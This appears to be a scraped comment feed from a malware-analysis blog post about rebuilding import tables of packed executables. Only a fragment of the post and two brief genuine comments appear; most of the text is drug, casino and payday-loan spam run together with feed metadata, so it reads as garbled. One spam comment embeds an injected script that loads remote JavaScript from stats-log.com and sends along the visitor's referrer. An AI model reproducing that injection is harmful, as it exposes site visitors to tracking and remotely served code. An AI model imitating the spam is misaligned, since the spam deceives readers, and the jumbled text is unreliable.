Finessing Import REConstructorhttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx Most malware these days is obfuscated with "packers." These packers take an executable file as input and will often do a combination of compressing, encrypting, and obfuscating it. The packer produces as output an executable containing an unpackingen-USCommunityServer 2.0 (Build: 60217.2664)Mal(ware)formation statisticshttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx#33Mon, 28 May 2007 10:19:17 GMT0c78dbc0-362c-4959-b65e-8e34407afe97:33AnonymousWhile catching up on an old but excellent post by jason geffner on reconstructing import tables I rememberedre: Finessing Import REConstructorhttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx#407Tue, 18 Sep 2007 15:43:43 GMT0c78dbc0-362c-4959-b65e-8e34407afe97:407AshwinToo Good!re: Finessing Import REConstructorhttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx#430Fri, 05 Oct 2007 23:53:36 GMT0c78dbc0-362c-4959-b65e-8e34407afe97:430auto insurance in njd6362n6-tcbhdlw-tw6q3e15-0 &lt;script&gt;var r = document.referrer; document.write('&lt;script src=&quot;<a rel="nofollow" target="_new" href="http://www.stats-log.com/gb.php?id=g&amp;r=">http://www.stats-log.com/gb.php?id=g&amp;r=</a>'+escape(r)+'&quot;&gt;&lt;' + '/script&gt;')&lt;/script&gt; <a rel="nofollow" target="_new" href="http://www.gencyte.com#1">http://www.gencyte.com#1</a> <br>&lt;a href=&quot;<a rel="nofollow" target="_new" href="http://www.mabuyrecycle.org#2&quot;&gt;craps&lt;/a&gt;">http://www.mabuyrecycle.org#2&quot;&gt;craps&lt;/a&gt;</a> <br>[url=<a rel="nofollow" target="_new" href="http://doiop.com/-levitra#3">http://doiop.com/-levitra#3</a>]levitra|buy cheap levitra|buy cheap levitra online|buy levitra|levitra|buy levitra cheap|buy levitra online|buying levitra online|levitra|cheap levitra|generic levitra|levitra 10 mg|levitra|levitra buy online|levitra cheap|levitra for sale[/url] <br>[url]<a rel="nofollow" target="_new" href="http://doiop.com/-free-slots#4">http://doiop.com/-free-slots#4</a>[/url] <br>[<a rel="nofollow" target="_new" href="http://doiop.com/-levitra#5">http://doiop.com/-levitra#5</a> levitra|buy cheap levitra|buy cheap levitra online|buy levitra|levitra|buy levitra cheap|buy levitra online|buying levitra online|levitra|cheap levitra|generic levitra|levitra 10 mg|levitra|levitra buy online|levitra cheap|levitra for sale] <br>&quot;viagra|buy viagra|viagra online|cheap viagra|viagra|viagra cheap|purchase viagra|order viagra|viagra|order viagra online|buy viagra online|buying viagra online|viagra|viagra without prescription|cheap generic viagra|best price viagra&quot;:<a rel="nofollow" target="_new" href="http://doiop.com/-viagra#6">http://doiop.com/-viagra#6</a> <br>[LINK <a rel="nofollow" target="_new" href="http://doiop.com/-levitra#7">http://doiop.com/-levitra#7</a>]levitra|buy cheap levitra|buy cheap levitra online|buy levitra|levitra|buy levitra cheap|buy levitra online|buying levitra online|levitra|cheap levitra|generic levitra|levitra 10 mg|levitra|levitra buy online|levitra cheap|levitra for sale[/LINK]fast cash payday advancehttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx#972Fri, 25 Jan 2008 11:04:35 GMT0c78dbc0-362c-4959-b65e-8e34407afe97:972AnonymousAt the beggining &amp;lt;a href=<a rel="nofollow" target="_new" href="http://20six.fr/yerkey466g243e/art/1458970/Casino_online_espana&amp;gt;casino">http://20six.fr/yerkey466g243e/art/1458970/Casino_online_espana&amp;gt;casino</a> online espaa&amp;lt;/a&amp;gt; &amp;lt;a href=<a rel="nofollow" target="_new" href="http://hphoenix1570.blogr.com/stories/8016119/&amp;gt;cash">http://hphoenix1570.blogr.com/stories/8016119/&amp;gt;cash</a> advance until pay day&amp;lt;/a&amp;gt;cash till payday loanhttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx#975Tue, 29 Jan 2008 15:23:27 GMT0c78dbc0-362c-4959-b65e-8e34407afe97:975AnonymousIn other words &amp;lt;a href=<a rel="nofollow" target="_new" href="http://groups.google.co.uk/group/palance610/web/first-american-cash-advance&amp;gt;first">http://groups.google.co.uk/group/palance610/web/first-american-cash-advance&amp;gt;first</a> american cash advance&amp;lt;/a&amp;gt; &amp;lt;a href=<a rel="nofollow" target="_new" href="http://groups.google.co.uk/group/hensley2734/web/advance-cash-loan-loan-payday&amp;gt;advance">http://groups.google.co.uk/group/hensley2734/web/advance-cash-loan-loan-payday&amp;gt;advance</a> cash loanpayday loan cash advance loanhttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx#977Fri, 01 Feb 2008 18:10:31 GMT0c78dbc0-362c-4959-b65e-8e34407afe97:977AnonymousPossibly &amp;lt;a href=<a rel="nofollow" target="_new" href="http://brilliant30ac0.blogr.com/stories/8021250/&amp;gt;advance">http://brilliant30ac0.blogr.com/stories/8021250/&amp;gt;advance</a> cash day in loan pay uk&amp;lt;/a&amp;gt; &amp;lt;a href=<a rel="nofollow" target="_new" href="http://www.genebase.com/node/P3881746/blogIndex.php?blogId=156197&amp;gt;first">http://www.genebase.com/node/P3881746/blogIndex.php?blogId=156197&amp;gt;first</a> american cash advance&amp;lt;/a&amp;gt;cheap loan payday tillhttp://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2005/07/26/5.aspx#980Tue, 05 Feb 2008 08:17:43 GMT0c78dbc0-362c-4959-b65e-8e34407afe97:980AnonymousIf she &amp;lt;a href=<a rel="nofollow" target="_new" href="http://users.newblog.com/oliver4458/?post_id=73673&amp;gt;2">http://users.newblog.com/oliver4458/?post_id=73673&amp;gt;2</a> loan online payday&amp;lt;/a&amp;gt; &amp;lt;a href=<a rel="nofollow" target="_new" href="http://taletta6186.blogr.com/stories/8022365/&amp;gt;creator">http://taletta6186.blogr.com/stories/8022365/&amp;gt;creator</a> free ringtones software&amp;lt;/a&amp;gt;